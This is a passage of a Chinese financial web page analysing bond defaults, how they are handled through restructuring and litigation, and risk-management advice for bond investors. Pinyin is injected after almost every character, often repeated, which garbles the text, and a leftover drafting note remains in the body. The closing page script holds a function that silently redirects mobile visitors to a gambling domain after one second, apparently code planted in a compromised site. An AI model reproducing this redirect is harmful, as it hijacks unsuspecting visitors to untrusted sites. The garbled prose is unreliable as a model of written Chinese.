置(zhi)换(huan)票(piao)据,按照1:1的(de)置(zhi)换(huan)比例将“17桑(sang)(sang)德工(gong)(gong)程MTN001”置(zhi)换(huan)为(wei)新债(zhai)券(quan)(quan)(quan),为(wei)债(zhai)券(quan)(quan)(quan)违(wei)约处(chu)置(zhi)提供(gong)新的(de)思路。

2.司法手段

司(si)法(fa)手(shou)段(duan)(duan)主要(yao)包括仲(zhong)裁(cai)和诉讼(song)两类(lei)。2018年(nian)(nian)以前(qian)违(wei)(wei)约债券处(chu)置方(fang)式(shi)仍以非司(si)法(fa)手(shou)段(duan)(duan)为主,31家(jia)有(you)处(chu)置信息的(de)违(wei)(wei)约主体(ti)中投资(zi)者采取仲(zhong)裁(cai)或诉讼(song)的(de)仅有(you)12家(jia)。2018年(nian)(nian)之后,违(wei)(wei)约事件(jian)进(jin)入常态(tai)化,有(you)处(chu)置信息的(de)54家(jia)违(wei)(wei)约主体(ti),34家(jia)采取仲(zhong)裁(cai)或诉讼(song)手(shou)段(duan)(duan)。但由(you)于(yu)司(si)法(fa)手(shou)段(duan)(duan)耗时较长,目前(qian)整体(ti)回(hui)收率偏低(di)。

此外,债(zhai)券违(wei)(wei)约(yue)(yue)案例中不(bu)乏(fa)投资者状告主(zhu)(zhu)(zhu)承(cheng)销商的。投资者发(fa)(fa)现(xian)主(zhu)(zhu)(zhu)承(cheng)在债(zhai)券发(fa)(fa)行过(guo)程中存在刻意隐(yin)瞒、造(zao)假、未尽到尽调责(ze)任(ren)等违(wei)(wei)规操作,主(zhu)(zhu)(zhu)承(cheng)应承(cheng)担(dan)相(xiang)应责(ze)任(ren)。但是对债(zhai)券违(wei)(wei)约(yue)(yue)中主(zhu)(zhu)(zhu)承(cheng)销商责(ze)任(ren)认定的专业法(fa)(fa)律法(fa)(fa)规及司(si)法(fa)(fa)实践非常(chang)有(you)限,有(you)关司(si)法(fa)(fa)裁判的尺度与标准尚未形(xing)成,主(zhu)(zhu)(zhu)承(cheng)能承(cheng)担(dan)多少责(ze)任(ren)还有(you)待探究。

尽管(guan)债(zhai)(zhai)券(quan)(quan)违(wei)(wei)约(yue)(yue)(yue)持续高发(fa),但无(wu)论是从(cong)市场(chang)(chang)发(fa)展(zhan)的(de)(de)(de)客观规律(lv),还(hai)是从(cong)国(guo)际(ji)经(jing)验(yan)来看,违(wei)(wei)约(yue)(yue)(yue)是在债(zhai)(zhai)券(quan)(quan)市场(chang)(chang)逐(zhu)步(bu)成熟的(de)(de)(de)过(guo)程中难以(yi)避免的(de)(de)(de)现象(xiang),应当客观理性地看待债(zhai)(zhai)券(quan)(quan)市场(chang)(chang)违(wei)(wei)约(yue)(yue)(yue)风险及其(qi)影响。值得注意的(de)(de)(de)是,2019年12月24日,最(zui)高人民法院印发(fa)《关于审理债(zhai)(zhai)券(quan)(quan)纠纷相(xiang)关案件的(de)(de)(de)座谈会(hui)(hui)纪要》(征求意见稿),拟对实际(ji)操作中一些有(you)争议的(de)(de)(de)法律(lv)问(wen)题予以(yi)明确(que);12月27日,央行、证监会(hui)(hui)、国(guo)家发(fa)改委联合发(fa)布《关于公(gong)司信用类债(zhai)(zhai)券(quan)(quan)违(wei)(wei)约(yue)(yue)(yue)处置有(you)关事宜的(de)(de)(de)通(tong)知(征求意见稿)》;银行间市场(chang)(chang)交易商(shang)协会(hui)(hui)也在官(guan)网公(gong)布了(le)与之配套(tao)的(de)(de)(de)三个(ge)操作文(wen)件。根(gen)据(ju)上述进展(zhan),一套(tao)相(xiang)对完(wan)整的(de)(de)(de)信用债(zhai)(zhai)违(wei)(wei)约(yue)(yue)(yue)处置的(de)(de)(de)制度框架有(you)望在2020年成型,为中国(guo)债(zhai)(zhai)券(quan)(quan)市场(chang)(chang)走向健(jian)康发(fa)展(zhan)保驾护航。

是否需(xu)要(yao)加一部分简要(yao)梳理说明2020年以来(lai)的(de)(de)债券市场(chang)(chang)政策(ce),同时可摘(zhai)要(yao)主流(liu)券商的(de)(de)市场(chang)(chang)趋(qu)势观点(dian)。

四、债(zhai)券市(shi)场违约(yue)风险启示(shi)

随着债(zhai)券(quan)违(wei)约(yue)常(chang)态(tai)化,债(zhai)券(quan)市场(chang)信用风(feng)(feng)险(xian)逐步(bu)暴露,信用债(zhai)违(wei)约(yue)特(te)征也逐步(bu)体现。下一步(bu)需要在分析(xi)债(zhai)券(quan)违(wei)约(yue)原因的基(ji)础上,逐步(bu)完善债(zhai)券(quan)投前风(feng)(feng)险(xian)评(ping)估机制,从而(er)使债(zhai)券(quan)投资(zi)决策及(ji)风(feng)(feng)险(xian)管理建立在完善的投资(zi)价值和风(feng)(feng)险(xian)评(ping)估基(ji)础之上。

一是(shi)坚持(chi)内(nei)部(bu)(bu)评(ping)(ping)估为(wei)(wei)主、外部(bu)(bu)评(ping)(ping)级(ji)(ji)为(wei)(wei)辅的(de)原则。随着(zhe)高(gao)评(ping)(ping)级(ji)(ji)债券违约的(de)出现,中国评(ping)(ping)级(ji)(ji)机构(gou)评(ping)(ping)级(ji)(ji)虚高(gao)得到(dao)(dao)进(jin)一步验证,发行(xing)(xing)人(ren)付费模(mo)式下的(de)评(ping)(ping)级(ji)(ji)逻辑受到(dao)(dao)市场(chang)质疑。因此(ci),有必要按照(zhao)实质重于形式的(de)原则对拟投资债券进(jin)行(xing)(xing)全面评(ping)(ping)估,并适当(dang)参(can)考外部(bu)(bu)评(ping)(ping)级(ji)(ji)机构(gou)的(de)评(ping)(ping)级(ji)(ji)结(jie)果(guo),尽可能反映债券真实信(xin)用风险水平。

二是建立标准(zhun)化(hua)的投资指(zhi)引制度(du),定(ding)性(xing)与定(ding)量相结(jie)合地(di)评估。根据前文关(guan)于债券(quan)违(wei)约原因的分(fen)析结(jie)论,可从发行人(ren)所处(chu)行业情(qing)(qing)(qing)况(kuang)(kuang)、自(zi)身经营情(qing)(qing)(qing)况(kuang)(kuang)、公司(si)治(zhi)理状况(kuang)(kuang)、历史违(wei)约情(qing)(qing)(qing)况(kuang)(kuang)和(he)担保增信情(qing)(qing)(qing)况(kuang)(kuang)等多个维度(du),建立债券(quan)投资准(zhun)入指(zhi)引,利用标准(zhun)化(hua)的产品(pin)对(dui)债券(quan)进行定(ding)量地(di)评估,再针(zhen)对(dui)单只债券(quan)进行定(ding)性(xing)评估,宽进严(yan)出。

此(ci)外,强化(hua)债(zhai)(zhai)券(quan)投后(hou)管理工(gong)作,建立(li)有效(xiao)的债(zhai)(zhai)券(quan)风(feng)险(xian)预警机(ji)制,做好债(zhai)(zhai)券(quan)风(feng)险(xian)事件处置(zhi)预案,对有效(xiao)化(hua)解持仓(cang)债(zhai)(zhai)券(quan)风(feng)险(xian)具(ju)有重(zhong)要意义。

一是建立债(zhai)(zhai)券(quan)信(xin)(xin)用(yong)风险监测(ce)(ce)与分类(lei)机(ji)制。对于持仓债(zhai)(zhai)券(quan),通(tong)过(guo)多种方式(shi)(shi)和(he)渠道(dao),持续(xu)动(dong)态收集(ji)可能(neng)影响(xiang)债(zhai)(zhai)券(quan)信(xin)(xin)用(yong)状(zhuang)况的信(xin)(xin)息,及时(shi)准(zhun)确掌握债(zhai)(zhai)券(quan)信(xin)(xin)用(yong)变化情况。根据债(zhai)(zhai)券(quan)发行人(ren)所处行业(ye)特性及其业(ye)务模式(shi)(shi)等因素(su),从行业(ye)、企业(ye)经营及财务状(zhuang)况、公司治理、增信(xin)(xin)情况、信(xin)(xin)用(yong)级(ji)别(bie)调(diao)整情况等维度出发,有针对性地建立债(zhai)(zhai)券(quan)信(xin)(xin)用(yong)风险监测(ce)(ce)指标(biao)体系,实现信(xin)(xin)用(yong)风险的动(dong)态跟踪监测(ce)(ce)。根据债(zhai)(zhai)券(quan)信(xin)(xin)用(yong)风险监测(ce)(ce)和(he)分析结(jie)果,参考公司在保项目(mu)分类(lei),将持仓债(zhai)(zhai)券(quan)划分为正常类(lei)、关注类(lei)、风险类(lei)。

二是建立债(zhai)(zhai)券(quan)(quan)(quan)信(xin)(xin)用风(feng)险(xian)(xian)(xian)排(pai)(pai)查与预(yu)警机制(zhi)(zhi)。根(gen)据上述初步划分(fen)的(de)债(zhai)(zhai)券(quan)(quan)(quan)信(xin)(xin)用风(feng)险(xian)(xian)(xian)分(fen)类(lei)情况,对债(zhai)(zhai)券(quan)(quan)(quan)信(xin)(xin)用风(feng)险(xian)(xian)(xian)状况实施排(pai)(pai)查。风(feng)险(xian)(xian)(xian)排(pai)(pai)查可(ke)以采取现(xian)场、非现(xian)场或现(xian)场与非现(xian)场相结合的(de)方(fang)式(shi)进行,并重点查明发(fa)(fa)行人是否(fou)具有偿(chang)债(zhai)(zhai)意(yi)(yi)愿和(he)偿(chang)债(zhai)(zhai)资(zi)金来源(yuan),以及(ji)(ji)增(zeng)信(xin)(xin)机构是否(fou)具有落(luo)实增(zeng)信(xin)(xin)措施的(de)意(yi)(yi)愿和(he)相关资(zi)金来源(yuan)安排(pai)(pai)等。在(zai)开(kai)展债(zhai)(zhai)券(quan)(quan)(quan)信(xin)(xin)用风(feng)险(xian)(xian)(xian)排(pai)(pai)查后(hou),根(gen)据排(pai)(pai)查结果及(ji)(ji)时正式(shi)确定债(zhai)(zhai)券(quan)(quan)(quan)风(feng)险(xian)(xian)(xian)分(fen)类(lei),及(ji)(ji)时进行风(feng)险(xian)(xian)(xian)预(yu)警,制(zhi)(zhi)定风(feng)险(xian)(xian)(xian)事(shi)件(jian)应对预(yu)案,发(fa)(fa)生(sheng)风(feng)险(xian)(xian)(xian)事(shi)件(jian)时,及(ji)(ji)时启动应急机制(zhi)(zhi)与财产保全机制(zhi)(zhi)。

附件:违约债券发行人(ren)一览

1590741924.jpg

20200529_163338_018.jpg

20200529_163338_019.jpg



0
诚聘英才

官方微信公众(zhong)号

联系我们

027-87317028

027-87319263-8209

湖北省武汉市武昌区
洪山路64号湖光大厦东7楼

武汉市武昌区杏林西(xi)路6号2层

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();